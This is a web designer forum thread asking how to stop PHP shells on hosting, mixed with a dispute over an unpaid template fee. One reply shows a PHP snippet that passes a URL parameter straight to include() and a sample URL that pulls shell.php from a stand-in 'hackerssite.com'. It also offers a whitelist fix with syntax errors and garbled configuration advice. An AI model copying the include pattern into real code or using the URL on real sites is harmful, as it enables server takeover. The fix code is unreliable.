Skip to content
View in the app

A better way to browse. Learn more.

Web Designer Forum

A full-screen app on your home screen with push notifications, badges and more.

To install this app on iOS and iPadOS
  1. Tap the Share icon in Safari
  2. Scroll the menu and tap Add to Home Screen.
  3. Tap Add in the top-right corner.
To install this app on Android
  1. Tap the 3-dot menu (⋮) in the top-right corner of the browser.
  2. Tap Add to Home screen or Install app.
  3. Confirm by tapping Install.

Protecting against Shells?

Featured Replies

This isn't really anything to do with the designing side of things but shells, I'm sure you all know what they are...

How do I stop people from adding shells to my hosting?

I have my own 'How Do I Do That' question John.

How do I get John Williams to pay me the £50 that he owes me for a website template?

As you have disabled private messages and won't answer my emails nor pay the PayPal invoice that I sent to you, I would love to know!!

Interesting...

 

I personally can't stand people who don't pay their bills. I lent a so called friend (now ex-friend) £25.00 and she has decided not to pay me back. If you owe the money, be a man and settle up.

What's a shell? Elan - I do hope this chap gives you the money he owes you. I can't see this thread going anywhere without it...

A shell is a php script designed to take control of a server once uploaded and executed. shells allow useres to do many malishious things such as delete files upload files ect.

 

the vulnrability is here

 

<?php
$page = $_GET['page];
include($page);
?>

 

then a hacker would goto www.yousite.com/index.php?page=http://hackerssite.com/shell.php

wala the shell is included and bam goes your website

 

how to fix

 

*turn url_file_include of that works

 

or the coe below

 

<?php
$page = $_GET['page'];

switch($page){
 case "home"
 include('home.php');
 break;
 case "contact"
  include('contact.php');
 break;
default: include('index.php');
break;
}
?>

 

that will stop shell attacts

im a hacker :p so i no it works :p

oo and dude pay the guy his money!!!!

 

o **** i read rong ... to your hosting ... you cant theres no way as they are just php files

The chap has looked at my profile and at other posters profiles, so he's viewed the thread, but he has not made any reply. I wonder why that is?

 

The silence is deafening John?

Create an account or sign in to comment

Account

Navigation

Search

Search

Configure browser push notifications

Chrome (Android)
  1. Tap the lock icon next to the address bar.
  2. Tap Permissions → Notifications.
  3. Adjust your preference.
Chrome (Desktop)
  1. Click the padlock icon in the address bar.
  2. Select Site settings.
  3. Find Notifications and adjust your preference.